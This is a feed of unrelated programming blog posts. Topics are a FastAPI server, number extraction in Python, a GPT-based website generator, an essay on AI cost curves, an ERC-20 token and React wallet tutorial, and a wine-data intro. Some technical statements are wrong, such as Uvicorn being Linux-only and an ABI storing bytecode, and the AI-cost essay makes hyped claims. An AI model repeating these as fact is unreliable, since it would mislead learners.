Posted on Leave a comment

BrainWaves P2P Social Network – How I Created a Basic Server

5/5 – (1 vote)

Welcome back to the Brainwaves P2P project, or at least my take on it :-).

The previous article was a theoretical explanation of how I envision this project. It is now time to start laying the groundwork!

I learn as I go…

As some of you might have guessed already, I’m a completely self-taught coder. Because of that, I’m sure many professionals might not agree with how I code.

I accept that and will welcome any constructive criticism. I have been learning non-stop since I started this project. I assume this will not slow down anytime soon. YouTube is my main source of knowledge as I learn best when seeing something done. I am, in other words, a visual learner. I found an article that explains it well here.

Articles on various sites are the other half of how I learn new concepts in coding. That is how I found Finxter :-).

So to sum it up, my code is far from perfect, and I will never claim it is. This is my take on trying to solve this puzzle. I actually look forward to alternative approaches!

You can open issues on my GitHub if you want to address something.

Now that we all know where we stand let us dive right in! How to build a server for our peer-to-peer social network app?

Flask vs FastAPI

In the previous article, I mentioned that I want to use FastAPI to build the relay server, as opposed to Flask. As I have done before and will do again, I asked ChatGPT about the differences between Flask and FastAPI.

🤖 Flask vs FastAPI Flask is based on the Werkzeug WSGI (Web Server Gateway Interface) toolkit, which is synchronous by default. However, Flask can still be used to build asynchronous applications. You will need to use a third-party library like gevent or asyncio. With these libraries, Flask can use coroutines and event loops to handle I/O operations asynchronously. FastAPI, on the other hand, is designed to be fully asynchronous from the ground up. It uses the async/await syntax of Python to write asynchronous code. It is based on the ASGI (Asynchronous Server Gateway Interface) specification. FastAPI uses the Starlette framework as its foundation. the framework provides a high-performance event loop and asynchronous request handlers.

Both the speed and the asynchrony determined my choice for FastAPI.

Those of you familiar with Flask will know about its built-in development server. As FastAPI doesn’t have this, we’ll need to install a separate server.

Uvicorn Server

This is where I encountered my first small hiccup. I code on Windows (I know, sue me 😝), and I wanted to use Uvicorn. As this only runs on Linux, I needed to get it to function in WSL.

I’ll not go into all the details here, but I could write something about it if anyone has an interest in it. Let me know!

After getting Uvicorn to function as it should, we can continue. It is important to remember that the Python interpreter on WSL does not share anything with its Windows counterpart. This means that you either need two separate virtual environments or that you install pip packages for each OS.

Creating Basic FastAPI App

Once all this annoying prep work is done, creating a basic FastAPI app is very easy. We first import FastAPI as below:

from fastapi import FastAPI

All you need to do afterward is define the basic app and create an endpoint.

#---APP INIT---#
app = FastAPI() @app.get("/")
async def root(): return {"message": "Hello World"}

To get this to run, you need to navigate to the working directory of your FastAPI project via WSL. Afterward, you call the Uvicorn server. The command below assumes you called your Python file main.py!

uvicorn main:app --reload

I usually run the Uvicorn server in a separate terminal instance of WSL.

That way, I can leave it on and test any changes I make immediately. Later, when I’ll be working on the client also, I can split the terminal. You can then make API calls through the client terminal window. FastAPI’s response in the server WSL window is then visible immediately.

Receiving “Hello World” from Server

If you now navigate to 127.0.0.1:8000 you should get a JSON response with the "Hello World" we returned in the endpoint above. We will change this endpoints function later, but for now, it works to prove our API is working.

For the API server, I have the following layout in mind. It might change throughout the development process. I currently foresee two endpoints that do not require the user to be logged in with a JWT token. The first will be to get that token, and the second to register a new user. Everything else will require the user to be authenticated.

I stated earlier that I would change the root’s endpoint function. Its new role is now to allow a user to request a JWT token. The token is only granted after providing a correct combination of username and password. This requires a dedicated set of both helper functions and Pydantic models to work.

I will go into this in another article, as it requires much explaining :-). It was something I am still learning myself.

Endpoint Layout

The current layout of my endpoints at a high level is the following:

#---OPEN ENDPOINTS---# #Root route to get token
@app.post("/", response_model=Token) #Route to create a new user
@app.post("/api/v1/users") #---AUTH ENDPOINTS---# #Route to get all current users and their attributes(development only)
@app.get("/api/v1/users") #Route to test if the token is valid, used while authenticating
@app.get("/api/v1/token-test") #Route to get all thoughts/messages created by a certain user
@app.get("/api/v1/thoughts/{username}") #Route to return all thoughts/messages containing the query string
@app.get("/api/v1/thoughts/{query_str}") #Route to create a new message/thought
@app.post("/api/v1/thoughts") #Route to return all info about the current user(like a user profile)
@app.get("/api/v1/me", response_model=User)

The current setup should allow for the barebones functionality of the application. At least from a server point of view. The routes above and/or their function are liable to change during development.  I do find it helps to have a visual reminder of what I am working toward. That is why I created the high-level outlay. As you might recall, I am a visual learner 😀.

Database Considerations

I will dedicate the last part of this article to the database part. As we need to store both users, user credentials, and messages/tweets somewhere, a database is a must.

If you have read any of my previous articles, you will know I like Deta a lot.

Their NoSQL databases work great for development. They recently evolved into Deta Space. This change makes their ecosystem even more interesting for developers. The fact that they are free is also important for a single developer coding this app on his own time 😝. Make sure to check them out!

The next article will focus on both the database code and the Pydantic models we will need to get our API to function.

As always, feel free to ask me questions or pass suggestions! And check out the GitHub repository for participation!

👉 GitHub: https://github.com/shandralor/PeerBrain

Posted on Leave a comment

How To Extract Numbers From A String In Python?

5/5 – (4 votes)

The easiest way to extract numbers from a Python string s is to use the expression re.findall('\d+', s). For example, re.findall('\d+', 'hi 100 alice 18 old 42') yields the list of strings ['100', '18', '42'] that you can then convert to numbers using int() or float().

There are some tricks and alternatives, so keep reading to learn about them. 👇

In particular, you’ll learn about the following methods to extract numbers from a given string in Python:

Problem Formulation

Extracting digits or numbers from a given string might come up in your coding journey quite often. For instance, you may want to extract certain numerical figures from a CSV file, or you need to separate complex digits and figures from given patterns.

Having said that, let us dive into our mission-critical question:

Problem: Given a string. How to extract numbers from the string in Python?

Example: Consider that you have been given a string and you want to extract all the numbers from the string as given in the following example:

Given is the following string:

s = 'Extract 100, 1000 and 10000 from this string'

This is your desired output:

[100, 1000, 10000]

Let us discuss the methods that we can use to extract the numbers from the given string:

Method 1: Using Regex Module

The most efficient approach to solving our problem is to leverage the power of the re module. You can easily use Regular Expressions (RegEx) to check or verify if a given string contains a specified pattern (be it a digit or a special character, or any other pattern).

Thus to solve our problem, we must import the regex module, which is already included in Python’s standard library, and then with the help of the findall() function we can extract the numbers from the given string.

Learn More: re.findall() is an easy-to-use regex function that returns a list containing all matches. To learn more about re.findall() check out our blog tutorial here.

Let us have a look at the following code to understand how we can use the regex module to solve our problem:

import re sentence = 'Extract 100 , 100.45 and 10000 from this string'
s = [float(s) for s in re.findall(r'-?\d+\.?\d*', sentence)]
print(s)

Output

[100.0, 100.45, 10000.0]

This is a Python code that uses the re module, which provides support for regular expressions in Python, to extract numerical values from a string.

Code explanation: 👇

The line s = [float(s) for s in re.findall(r'-?\d+\.?\d*', sentence)] uses the re.findall() function from the re module to search the sentence string for numerical values.

Specifically, it looks for strings of characters that match the regular expression pattern r'-?\d+.?\d*'. This pattern matches an optional minus sign, followed by one or more digits, followed by an optional decimal point, followed by zero or more digits.

The re.findall() function returns a list of all the matching strings.

The list comprehension [float(s) for s in re.findall(r'-?\d+\.?\d*', sentence)] takes the list of matching strings returned by findall and converts each string to a floating-point number using the float() function. This resulting list of floating-point numbers is then assigned to the variable s.

👉 Recommended: Python List Comprehension

Method 2: Split and Append The Numbers To A List using split() and append()

Another workaround for our problem is to split the given string using the split() function and then extract the numbers using the built-in float() method then append the extracted numbers to the list.

Note:

  • split() is a built-in python method which is used to split a string into a list.
  • append() is a built-in method in python that adds an item to the end of a list.

Now that we have the necessary tools to solve our problem based on the above concept let us dive into the code to see how it works:

sentence = 'Extract 100 , 100.45 and 10000 from this string' s = []
for t in sentence.split(): try: s.append(float(t)) except ValueError: pass
print(s)

Output

[100.0, 100.45, 10000.0]

Method 3: Using isdigit() Function In A List Comprehension

Another approach to solving our problem is to use the isdigit() inbuilt function to extract the digits from the string and then store them in a list using a list comprehension.

The isdigit() function is used to check if a given string contains digits. Thus if it finds a character that is a digit, then it returns True. Otherwise, it returns False.

Let us have a look at the code given below to see how the above concept works:

sentence = 'Extract 100 , 100.45 and 10000 from this string'
s = [int(s) for s in str.split(sentence) if s.isdigit()]
print(s)

Output

[100, 10000]

☢ Alert! This technique is best suited to extract only positive integers. It won’t work for negative integers, floats, or hexadecimal numbers.

Method 4: Using Numbers from String Library

This is a quick hack if you want to avoid spending time typing explicit code to extract numbers from a string.

You can import a library known as nums_from_string and then use it to extract numbers from a given string. It contains several regex rules with comprehensive coverage and can be a very useful tool for NLP researchers.

Since the nums_from_string library is not a part of the standard Python library, you have to install it before use. Use the following command to install this useful library:

pip install nums_from_string

The following program demonstrates the usage of nums_from_string :

import nums_from_string sentence = 'Extract 100 , 100.45 and 10000 from this string'
print(nums_from_string.get_nums(sentence))

Output

[100.0, 100.45, 10000.0]

Conclusion

Thus from the above discussions, we found that there are numerous ways of extracting a number from a given string in python.

My personal favorite, though, would certainly be the regex module re.

You might argue that using other methods like the isdigit() and split() functions provide simpler and more readable code and faster. However, as mentioned earlier, it does not return numbers that are negative (in reference to Method 2) and also does not work for floats that have no space between them and other characters like '25.50k' (in reference to Method 2).

Furthermore, speed is kind of an irrelevant metric when it comes to log parsing. Now you see why regex is my personal favorite in this list of solutions.

If you are not very supportive of the re library, especially because you find it difficult to get a strong grip on this concept (just like me in the beginning), here’s THE TUTORIAL for you to become a regex master. 🤯🤯

I hope you found this article useful and added some value to your coding journey. Please stay tuned for more interesting stuff in the future.

Posted on Leave a comment

I Created a ChatGPT-Powered Website Creator with ChatGPT – Here’s What I Learned

5/5 – (3 votes)

 I wanted to learn how to use the new Large Language Model AI GPT created by OpenAI. I also wanted to know if it could be used in a practical web application.

Here’s my video: 🤯

YouTube Video

To learn it, I created a website that uses it in two ways. I used it to create the web application. The web application I created uses GPT-3 to create other simple web pages or one-page web applications.

A Few Words on ChatGPT

GPT stands for Generative Pre-trained transformer.

I examined its background is clearly explained in depth in its wiki article and why it works is written in a great article by Stephen Wolfram. GPT is a high-powered autocomplete that creates paragraphs and words based on their statistical association. It adds randomness to this selection, so it does not always return the same result given the same prompt.

 I witnessed how it can enable great applications in multiple ways. 👇

  • ChatGPT Usage 1: Text autocompletes can be used superbly to write well-written code. 
  • ChatGPT Usage 2: It can also be used in the application to enable or enhance its functionality. 
  • ChatGPT Usage 3: The coder can also use it to expedite learning and create new code.

In creating the website, I found the latter to be the most useful.

This article guides you through how I used and created a website that can generate a website from a text prompt. Open AI’s GPT Da Vinci powers the site. I used Open AI’s Chat GPT to create much of its code. 

I also used GPT-3 based ghostwriter code assistant in the Replit IDE or interactive development environment for auto-completion. I also examine how I used prompt engineering for development, Flask, and JavaScript to create its functionality. 

The GPT-3 Website Prototyper Site

Here’s an example of what the site looks like:

Here’s an example of a pong game created with it just from entering the above prompt text:

How the Application Works

Let’s first see what the site does before we look into its code.

Here’s the site https://web-prototyper.kevron.repl.co/. Go to the site and enter a prompt.  

Here are some example prompts:

  • “Create an HTML pong game with javascript and an AI”
  • “Create an HTML page with street address, zip code, first name, last name, and a date picker for the birthdate.”

Here’s a site that gives you information on prompt engineering from OpenAI. If you want to create a website, you’ll have some keywords like “JavaScript” and “HTML”. In addition, you can add CSS and colors to your site. 

Then Click on the Create button that gets the output from the GPT API Davinci. Enter a name. Then save.

You can click on the link to go to the site. You can also click on the code to view the code. You should remember that the code it generates has some randomness to it, and it won’t always return the same result.

How I Created the GPT-3 Website Prototyper Site

I wrote some of this website’s code using Chat-GPT and then manually put the pieces together.

This is a gap in the AIs and where the programmers come in. They can’t see the big picture and put together pieces of code from different sites like

  • Stack Overflow,
  • Google,
  • Finxter, and
  • Chat GPT.

Chat GPT, on the other hand, can only use code already processed on its site.  Throughout the creation of this site, I used these sources to look up how to create this site. I could not just use Chat GPT. 

One of the current gaps humans can fill that Chat generators can’t, even though they are impressive, is tying large pieces and concepts together accurately. So I had to manually tie together the front end, backend, and saving functionality.

Here’s the prompt used to create the Flask backend.

This generated back-end Flask python code and JavaScript code, the JavaScript code called the Flask backend.

I modified the code to work with my site, but the basic structure of the code is from what was generated by OpenAI. I was not familiar with Flask. I’m a professional web developer, though. The ChatGPT, the Finxter tutorial, and my experience helped me get up to speed with Flask in minutes.  

The code for the application can be found on Replit and Github. I’ll post links to the Replit because I believe it gives you the best ability to run and fork the code. 

The communication of the API is the Python code here (Replit):

def gpt3_request(): data = request.get_json() prompt = data['prompt'] completions = openai.Completion.create( engine="text-davinci-002", prompt=prompt, max_tokens=4000, n=1, stop=None, temperature=0.5, ) message = completions.choices[0].text print(message) return jsonify({'message': message})

It’s called by the JavaScript code here, which parses the HTML. You can see the code below. 

It does this to organize the code into CSS, HTML, and JavaScript. It’ll later be injected back into the DOM of a new page. I did this step because the JavaScript and CSS were not always well-formed, so I wanted to separate them out.

I used Chat GPT and StackOverflow. I used StackOverflow to find a technique to help me determine which one to use. I used Stackoverflow to determine what JavaScript technique I should use to save it in the database.

I like StackOverflow because there is a human voting mechanism. It also has feedback and different perspectives and opposing sides.  This is something that ChatGPT misses. It’s only one source

Here’s the prompt I used on ChatGPT to show me the JavaScript client-side database code

 I knew I had to save it for the client. Here’s some of the code to save to the client

You can see the full code here: https://replit.com/@kevron/Web-Prototyper#static/post.js

It is about 75% of the same code as what I got from Chat-GPT-3 . 

The technologies used are Replit for the IDE, OpenAI DaVinci, Python and flask for the backend, HTML and javascript, GIT for source control, and Chat-GPT3.

Understanding the Security, Safety Concerns, and Limitations

This a powerful technology, and I think there are both security and safety concerns that I learned about from using GPT 3 and reading articles about it.

The security concern in this app is that I can now generate tons of HTML pages if I want to. What if some of the information on this site is unsafe or inaccurate? The potential for the inaccuracy of the data is mentioned on many sites. This technology needs to be used safely from OpenAI.

Since this is a new powerful and new technology, many other new safety concerns may arise. I think it’ll vary depending on the organizations’ specific use of GPT.

They lack the ability to generalize and see the big picture. 

Also, the data is stored in the browser’s database. It should not be modified and open to store the HTML code from the website. It could be an internal company tool, though. It’s ok when it is run on the client, but saving this in the database could be dangerous and open up cross-site scripting concerns.

For example, it could be saved in GitHub or saved in someone else’s database.

My Conclusions

This technology is super exciting and will empower many people to create things from just an idea.

Bill Gates and other large investors have said this technology is transformative. Companies such as Google and Microsoft are investing millions of dollars in it. 

Despite the safety concerns of GPT and some of its limitations, I’m very excited about working with this technology and other assistive AI technology in the future.

It helped me immensely in writing this code.

I’m also optimistic that some of its criticisms of accuracy are being worked on and addressed.

I learned through writing this article how powerful and helpful GPT can be as an assistive tool. I also learned firsthand that while GPT is powerful, it does not seem like it will replace a human programmer. It cannot generalize, see the big picture, and fact-check like a human does from multiple sources.

So I hope that in following this article, you’ve developed knowledge about GPT and learned how to use it as a code generation tool too. 

Posted on Leave a comment

IQ Just Got 10,000x Cheaper: Declining Cost Curves in AI Training

5/5 – (1 vote)

“I am not interested in hearing ridiculous Utopian rants.”

said one reader of yesterday’s Finxter newsletter on my note on declining cost curves and the implied disruptions.

I’ll include a screenshot of the email here:

💡 Info: Declining cost curves refer to the trend of production costs decreasing over time as technology and production processes improve. This trend leads to more affordable and accessible products and services, creating new opportunities and disrupting traditional industries and jobs. Think of it like a “cost savings snowball” that gets bigger and bigger as technology advances.

I got a lot of positive comments, too, but let’s focus for a moment on this one because it demonstrates how not to behave in the upcoming years of radical change and transformation.

Let’s recap my note on the declining cost curves for AI training:

ChatGPT and a ~60% annual reduction of AI training costs. The cost of average intelligence is now 10,000x lower, disrupting white-collar labor markets, logistics, universities, law, coding, artists, secretaries, and many other industries.

In this article, allow me to give you more data on this. Feel free to skip ahead if you’re convinced the previous statement is not “ridiculous”.

The following chart from ARK’s research shows the 10x decline in AI costs in only two years.

Declining by 70% twice is represents a total decline of 91%, i.e., slightly more than 10x!

This steep decline in AI training costs combines software and hardware training costs. Both sit on independently declining cost curves in their own right:

Grasping exponentials is tough for our biological brains.

With abundant intelligence, we’ll integrate super-human AI into more and more apps and devices. Everything will become more intelligent all around us.

Your coding IDE, Excel spreadsheet, heating system, car, glasses, clothes. Very soon, all of them will possess super-human intelligence due to the declining AI training costs.

As a researcher, I learned that I needed to look at the evidence rather than letting my biases cloud my view—facts, not opinions.

I am puzzled that billions of people today still don’t believe the evident, apparent, mind-boggling disruptions. Your job is as unsafe as mine. I could sugarcoat it, but what’s the use?

Look at the productivity improvement of AI-assisted coding:

Wow, just like that, an organization like Google, Tesla, Facebook, OpenAI can double their coding productivity. But what about graphical design?

If I write that the costs of intelligence decreased by 10,000x, I mean that literally:

Genuine valuable content that would cost $100 in 2020 can now be purchased for less than $0.01 with ChatGPT.

And ChatGPT today – at IQ 147 reportedly – is the dumbest it will ever be. From here on out, it will become more and more intelligent and be at our service at a lower and lower price.

Yes, it will reach super-human level performance in coding. Yes, it will create beautiful content, music, art, stories, sales pages, research practically for free.

What is left for us humans to do?

Well, your guess is as good as mine. At least, let’s try to remain open-minded and use the technology daily so you won’t get left behind.

For example, you could use ChatGPT to create advanced apps that were previously impossible for a one-person coding startup. Now, you can disrupt the big guys with a small ChatGPT API call.

~~~

If you’re interested in learning how to integrate ChatGPT in your own Python web apps, feel free to check out our new academy course:

[Course] ChatGPT at the Heart – Building a Movie Recommendation Python Web App in 2023

As with all our courses, this course comes with a personalized PDF certificate with your name to showcase your skills to clients or your future employer.

~~~

I’ll close today’s article with this concluding thought: humans tend to adapt very quickly if forced to. Just two months ago, most people would have pushed back on the thought that AI is able to create super-human-level art, code, or content.

Now, only a few people do.

In only two years, AI training costs will have been reduced by another 10x, and we’ll see generative videos and whole books being written in seconds.

We will see peer-reviewed ChatGPT research papers that managed to pass double-blind journal review systems.

Throughout human history, intelligence has been a limiting factor for our economy. It no longer is. You can choose to ignore this or you can choose to embrace change. The world, however, will move on either way.

I’m sending you much love, my friend! ♥

Posted on Leave a comment

How I Built My Own ERC-20 Token (2/2)

5/5 – (2 votes)

YouTube Video

In the first part, we connected the front end with Metamask but couldn’t fetch the balance. Let’s try to fetch the balance from the wallet this time. But first, install the ether.js library to communicate with the smart contract.

npm install --save ethers

Import ether.js library to App.js.

import {ethers} from "ethers";

Now we need to import the contract ABI.

💡 The contract ABI is the JSON format of the contract that saves the bytecode of the deployed contract.

Create a contracts folder inside the source folder. Inside this contracts folder, create a JSON file called SilverToken.json.

Copy the ABI of the contract from the Remix IDE and paste it inside the JSON file. Now import the ABI from the JSON file to the app.js.

import contractABI from "./contracts/SilverToken.json";

Create a variable for the contract address.

const contractAddress = "0xC16322799f2645D5b7a1287392072aA668F8144B";

We need to create a contract instance to get access to the methods of our deployed smart contract. We need three things to create an instance of the contract. Those are the provider, signer, and contract ABI.

We already imported the ABI. So, let’s create state variables for the provider, signer, and contract and initially keep all the values null.

const [provider, setProvider] = useState(null);
const [signer, setSigner] = useState(null);
const [contract, setContract] = useState(null);

Inside the connectMetamask button define provider, signer, and contract.

const provider = new Web3Provider(window.ethereum);
const signer = provider.getSigner();
const contract = new ethers.Contract( contractAddress, contractABI, signer);
setProvider(provider);
setContract(contract);
setSigner(signer);

We defined the provider with the help of the Web3Provider method of the ethers library. In our case, the provider would be Metamask.

I was unable to access the providers library of ethers for some unknown reason. That’s why I imported the providers library from the npm Ethereum providers. You can use this link if you need it.

First, install and then import the providers library.

npm i @ethersproject/providers

since we will use the Web3Provider from the providers library, we will import this only.

import { Web3Provider } from "@ethersproject/providers";

We are committing a transaction, so we must need a signer. We called the signer by using the getSigner() method of the provider.

Then we created an instance of our smart contract with the contract() method of the ethers library.

This contract() method takes the contract address, ABI, and the signer as the parameters.

Now the provider, signer, and contract are defined. So, we need to change the state of these three that we have defined as null earlier.

Now let’s console.log the contract to check if all changes occurred.

console.log(contract);

As you can see in my console, the contract’s state was initially null. But now it returns the contract address that we are connected to.

Get Wallet Balance

Create a getBalance() method to get the balance from the address.

 const getBalance = async () => { const balanceInBig = await contract.balanceOf(activeAccount); const balanceInNum = Number(balanceInBig) / 100; setTokenBalance(balanceInNum); };

We are using the balanceOf method of the contract to get the balance of our address. The balance will be returned as a bigInteger number. Read more about BigInt here.

In the 2nd line, we converted the big integer number to a readable format.

To initiate the getBalance() function, we can use React‘s useEffect() hook.

useEffect(() => { if (contract != null) { getBalance(); } }, [contract]);

The useEffect() hook will trigger the getBalance method if a contract is available. The useEffect() hook will render the page again whenever the contract is changed.

Transfer the Balance

Now to transfer the balance, we need a form where we will input the address of the account to which we will be transferring the amount. Let’s do this part in a separate functional component.

Let’s create a components folder inside the source folder and create a new file called Transaction.js.

Inside this file, create a component structure by pressing “rsc” on the keyboard. If the autocompletion doesn’t work, no need to worry. Write the code manually.

I will create a simple form using custom codes from flowbite. You can check it out or make your own custom one. Inside the return function, paste the following.

 return ( <div className="w-1/2 mx-auto bg-slate-600 mt-10 p-5 border rounded-lg"> <form onSubmit={transactionHandler}> <div className="mb-6"> <label for="address" className="block mb-2 text-sm font-medium text-gray-900 dark:text-white" > Receiver Address </label> <input type="text" id="address" className="bg-gray-50 border border-gray-300 text-gray-900 text-sm rounded-lg focus:ring-blue-500 focus:border-blue-500 block w-full p-2.5 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" placeholder="Enter Receiver Address" required /> </div> <div className="mb-6"> <label for="amount" className="block mb-2 text-sm font-medium text-gray-900 dark:text-white" > Transfer Amount </label> <input type="number" id="amount" className="bg-gray-50 border border-gray-300 text-gray-900 text-sm rounded-lg focus:ring-blue-500 focus:border-blue-500 block w-full p-2.5 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" required /> </div> <button type="submit" className="text-white bg-blue-700 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm w-full sm:w-auto px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-blue-700 dark:focus:ring-blue-800" > Send Token </button> <div className="mt-5"> <h3 className="text-slate-100">{transactionHash}</h3> </div> </form> </div> );

We created two input fields inside the form. One is text type for the receiver address, and another is a number type for the amount that would be sent to the receiver.

The id of each input filed is changed to “address” and “amount” respectively.

A transactionHandler() function will be triggered whenever you click on the send button. This function will collect the info from the input fields and do something further.

Let’s define the transactionHandler() function.

const transactionHandler = async (event) => { event.preventDefault(); let receiverAddress = event.target.address.value; let sendAmount = event.target.amount.value; let transferAmount = sendAmount * 100; let trans = await contract.transfer(receiverAddress, transferAmount); console.log(trans); setTransactionHash("Transaction confirmed with hash:" + trans.hash); };

The transactionHandler() is an async await function that will trigger an event. The preventDefault() method will prevent the function from reloading automatically for changes.

The transferAmount and receiverAddress variables will collect the info from the input fields. “event.target” will access the input fields by using the id of the input field “amount” and “address.”

We need to use the transfer method of the contract to commit the transaction. To access the contract state, we need to pass it as a prop from the app.js file.

Call the transaction.js component from the app.js file and pass the contract as props.

<Transaction contract={contract}></Transaction>

We are using the “contract.transfer” method to commit the transaction. This method will take the receiver address and the send amount as parameters.

We will get a transaction hash as a transfer confirmation when the transaction is done. We can store this transaction hash as a state variable to display it on the user interface.

Let’s create a new account on the Goerli testnet. This will be our receiver account.

Now use this address and send an amount of 50 tokens from the main wallet. We need to multiply the amount by 100 to get the exact value, as we used a two-digit return in the decimals function of the smart contract.

Now if you check this transaction hash on the Etherscan website, you will get the complete transaction details. You will also receive the token balance on the Metamask receiver wallet.

This is the screenshot of my recent transaction. To get your transaction details, just use the transaction hash in the search bar. Make sure you choose the Goerli testnet as the network.

That’s all for today. Thanks for the reading! ♥

👉 Github: https://github.com/finxter/silver_wallet

Posted on Leave a comment

How I Built My Own ERC-20 Token (1/2)

5/5 – (1 vote)

YouTube Video

Project Scenario

In this 2-part series, I’ll show you how I built my own ERC-20 token like ETH in this project. I share this because you may want to do the same and learn from my experience.

I use Solidity to write a smart contract for my ERC-20 token, and then the contract will be deployed on a test net, for starters.

The token balance will be displayed on the user interface along with the wallet address. The front end will be formed with React & Tailwind CSS.

In the next part of this series, I’ll show you how to transfer tokens with the help of the ether.js library. You’ll be able to check the details regarding the transaction by using the transaction hash on the Etherscan website.

Create the Smart Contract

We will use the Openzeppelin framework to build our ERC-20 token.

👉 Recommended: How Does the ERC-20 Token Work?

OpenZeppelin is a secured open-source framework that is used to build, manage, and inspect all aspects of software development for decentralized applications. OpenZeppelin’s ERC-20 solidity file contains all the code to build the token.

Move to the Remix IDE and create a solidity file inside the contract folder. I am naming it as “SilverToken.sol”. Declare the solidity version number in the first line.

So, import Openzeppelin’s ERC-20 Solidity file.

pragma solidity >= 0.5.0 < 0.9.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

If you want to learn more about the OpenZeppelin implementation, you can follow this link.

Now create the contract named SilverToken. This token inherits the token structure from the ERC-20 implementation of Openzeppelin.

contract SilverToken is ERC20 { constructor (uint256 initialSupply) ERC20("silver", "SLV"){ _mint(msg.sender, initialSupply); } function decimals() public pure override returns (uint8) { return 2; }
}

As our token is a child of the ERC-20 class, we can access the different methods of that class now. We are calling the constructor method first. This method asks for the initial supply amount to the contract.

We called the base contractor ERC-20 with name and symbol parameters. This will pass the name and symbol of our token to the parent constructor. Silver is the name of our token, and SLV is the symbol.

To create the initial supply, we started minting tokens. The initial supply of the token will be minted to the msg.sender which is the address of the person who deploys the contract.

We usually can see the 18th decimal of precession for the ETH value. But here, for simplicity, we override that decimal function. We will get up to 2 decimal values.

Deploy the Smart Contract

Let’s compile the contract and move to the deployment section.

We will deploy this on the Goerli testnet. It would be best if you had the goerli test network added to your browser.

If you don’t have the goerli test network on your browser, then move to the “add network” option of the Metamask and add the goerli test net from the networks option.

The configuration for the goerli network is given below:

Goerli testnet must be added to your browser by this time.

You can create a new account by clicking the create account option of Metamask.

We need some goerli Eth in your wallet for the deployment cost. You can quickly get some free goerli eth from goerliFaucet.com.

You may need to sign up in Alchemy to avail the opportunity. Just sign up on Alchemy and create an app. Move back to the goerli faucet and transfer some ETH to your wallet. It’s that simple. 

Now get back to the Remix IDE. Choose the “Injected provider- Metamask” option from the environment dropdown menu. Make sure you are logged into the goerli testnet in Metamask.

You must see the goerli wallet address on the account section if you get connected to Remix IDE. Choose any account. You have to set an initial amount to supply at this address.

I am setting the initial supply amount as a million goerli ETH. Deploy the contract, and you will see all the functions and data types available under the menu.

If you want to check the balance, you can check it from the balanceOf menu. Just enter the wallet address and press the menu. The current token balance will be displayed there.

If you don’t see the token balance in the Metamask, move to the assets option In the Metamask and click on the import tokens option. Then paste the contract address from the Remix IDE, and the tokens will be automatically imported.

You will get the contract address from the deployed contracts section of the Remix IDE.

So, our simple, smart contract is ready. Now let’s build the front end to do transactions to other accounts.

Create a React App and Tailwind CSS

We will use React and Tailwind CSS to build our front end. So, create our react app first.

Open the command prompt from your directory. Then type

npx create-react-app silver_wallet

Now the react is installed. But before initializing react, move to the installed directory and install the tailwind CSS for react.

cd silver_wallet
npm install -D tailwindcss
npx tailwindcss init

Inside the tailwind.config.js file, configure the template paths

content: [ "./src/**/*.{js,jsx,ts,tsx}", ],

And inside the index.css file, add the tailwind directives.

@tailwind base;
@tailwind components;
@tailwind utilities;

Tailwind is installed.

Now initiate the React App.

npm start

The React app should be running on the browser in the port 3000.

Now move to the app.js file and clear it for writing the contracts.

Connect to Metamask

The first thing we need to do is to establish a connection with the Metamask wallet.

Create a button and a container to show the account address to which we would be connected. The wallet’s address will be shown in the UI when connected to the wallet.

Let’s apply some styles also at the same time when we proceed. Get a nice button from the Flowbite website. Flowbite is one of the open-source UI libraries that will help us to build a front-end design faster.

<div> <div className="text-center mt-10"> <button type="button" onClick={connectMetamask} className="text-white bg-gradient-to-r from-cyan-500 to-blue-500 hover:bg-gradient-to-bl focus:ring-4 focus:outline-none focus:ring-cyan-300 dark:focus:ring-cyan-800 font-medium rounded-lg text-sm px-5 py-2.5 text-center mr-2 mb-2" > Connect to Metamask </button>
{errorMessage} </div> <div className="items-center mt-5 py-3 px-4 text-sm font-medium text-center text-white bg-sky-500 rounded-lg hover:bg-sky-500 focus:ring-4 focus:outline-none focus:ring-blue-300 w-1/2 m-auto"> <h3>Wallet Address: {activeAccount} </h3> </div> </div> </div>

Our button is visible in the UI, and we need to add some functionalities to the connectMetamask event handler to make it work.

const connectMetamask = async () => { try { if (window.ethereum) { await window.ethereum .request({ method: "eth_requestAccounts" }) .then((result) => { setActiveAccount(result[0]); }); } else { console.log("Need to install Metamask"); } } catch (error) { console.log(error); } };

An “if-else” condition is introduced to confirm if the Metamask is injected into the browser.

Inside the if condition, the eth_requestAccounts method of the Ethereum library is used to request the accounts of the Metamask. From the results, we choose the results[0], that is, the connected account of Metamask.

We need to declare a state variable outside the event handler to show our account address to the UI. A useState hook of React would be helpful here. Import useState from React.

import React, { useState } from "react";

Now create a state variable to store the value of the active account address.

const [activeAccount, setActiveAccount] = useState(null);

Now set the results[0] as the active account.

If the event handler fails to connect to Metamask, It will throw an error message in the console.

Now if you run the code you must get the wallet address displayed on the User Interface.

At the same time, we need to show the token balance. Under the address section, we can create another <div> container to show the balance of that wallet address. Let’s do this.

<div className="items-center mt-5 py-3 px-4 text-sm font-medium text-center text-white bg-sky-500 rounded-lg hover:bg-sky-500 focus:ring-4 focus:outline-none focus:ring-blue-300 w-1/2 m-auto"> <h3>Token Balance: {tokenBalance} </h3> </div>

Create another state variable outside the function to show balance in the UI.

const [tokenBalance, setTokenBalance] = useState(null);

Our balance state variable is ready, but we need to connect with the contract to fetch the balance from the wallet.

We get connected with the smart contract and transfer some balance into a specific account in the next part.

👉 Github: https://github.com/finxter/silver_wallet

Posted on Leave a comment

Data Science Tells This Story About the Global Wine Markets 🍷

5/5 – (2 votes)

📖 Background

Many people like to relax or party with a glass of wine. That makes wine an important industry in many countries. Understanding this market is important to the livelihood of many people.

For fun, consider the following fictional scenario:

🍷 Story: You work at a multinational consumer goods organization that is considering entering the wine production industry. Managers at your company would like to understand the market better before making a decision.

💾 The Data

This dataset is a subset of the University of Adelaide’s Annual Database of Global Wine Markets.

The dataset consists of a single CSV file, data/wine.csv.

Each row in the dataset represents the wine market in one country. There are 34 metrics for the wine industry covering both the production and consumption sides of the market.

import pandas as pd wine = pd.read_csv("wine.csv")
print(wine)

